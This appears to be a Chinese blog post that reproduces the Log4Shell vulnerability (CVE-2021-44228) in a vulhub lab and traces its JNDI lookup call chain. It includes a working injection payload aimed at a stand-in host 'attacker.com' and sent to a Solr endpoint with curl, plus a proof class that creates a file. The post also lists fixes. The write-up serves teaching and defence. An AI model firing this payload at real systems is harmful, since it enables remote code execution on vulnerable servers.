tuuLei
返回文章列表

CVE-2021-44228 Log4j 漏洞复现与原理分析

深入分析Log4j2 JNDI注入漏洞(Log4Shell),从环境搭建到漏洞复现,再到源码层面的触发机制解析。

2026年5月1日5 分钟阅读1,326
#CVE复现#JNDI注入#log4j

漏洞概述

CVE-2021-44228,即 Log4Shell,是 Apache Log4j2 中的一个严重漏洞。由于 Log4j2 支持 JNDI 查找功能,攻击者可以通过构造特殊的日志输入来触发远程代码执行。

CVSS 评分:10.0(严重)

漏洞原理

JNDI 注入

Log4j2 在处理日志消息时,会解析 ${} 语法。当遇到 ${jndi:ldap://...} 格式时,会主动连接指定的 LDAP 服务器并加载远程对象。

${jndi:ldap://attacker.com/Evil}

调用链分析

// 1. MessagePatternConverter.format() 处理日志格式
// 2. StrSubstitutor.resolveVariable() 解析 ${} 占位符
// 3. JndiLookup.lookup() 执行 JNDI 查找
// 4. InitialContext.lookup() 连接 LDAP 并加载类

public String lookup(final LogEvent event, final String key) {
    // 这里没有对 key 做任何过滤
    Context ctx = new InitialContext();
    return (String) ctx.lookup(key);
}

环境搭建

# 使用 vulhub 搭建漏洞环境
cd vulhub/log4j/CVE-2021-44228
docker-compose up -d

# 验证环境
curl http://localhost:8983/solr/admin/cores?action=

漏洞复现

准备恶意 LDAP 服务器

public class EvilObj {
    static {
        try {
            Runtime.getRuntime().exec("touch /tmp/success");
        } catch (Exception e) {}
    }
}

构造 Payload

# 构造 JNDI 注入请求
curl 'http://target:8983/solr/admin/cores?action=${jndi:ldap://attacker.com:1389/Evil}'

# 验证结果
docker exec -it solr ls /tmp/success

修复方案

  1. 升级版本:升级 Log4j2 到 2.17.0+
  2. 临时缓解:设置 log4j2.formatMsgNoLookups=true
  3. 删除 JndiLookup 类
    zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
    

影响范围

几乎所有使用 Log4j2 的 Java 应用都可能受影响,包括但不限于:

  • Apache Struts2
  • Apache Solr
  • Apache Druid
  • ElasticSearch
  • 大量企业自研系统

总结

Log4Shell 被称为"核弹级漏洞"当之无愧。它的可怕之处在于影响范围极广且利用极为简单。这也提醒我们,对第三方依赖的安全管理绝不能掉以轻心。

评论区

0 条评论

加载评论中...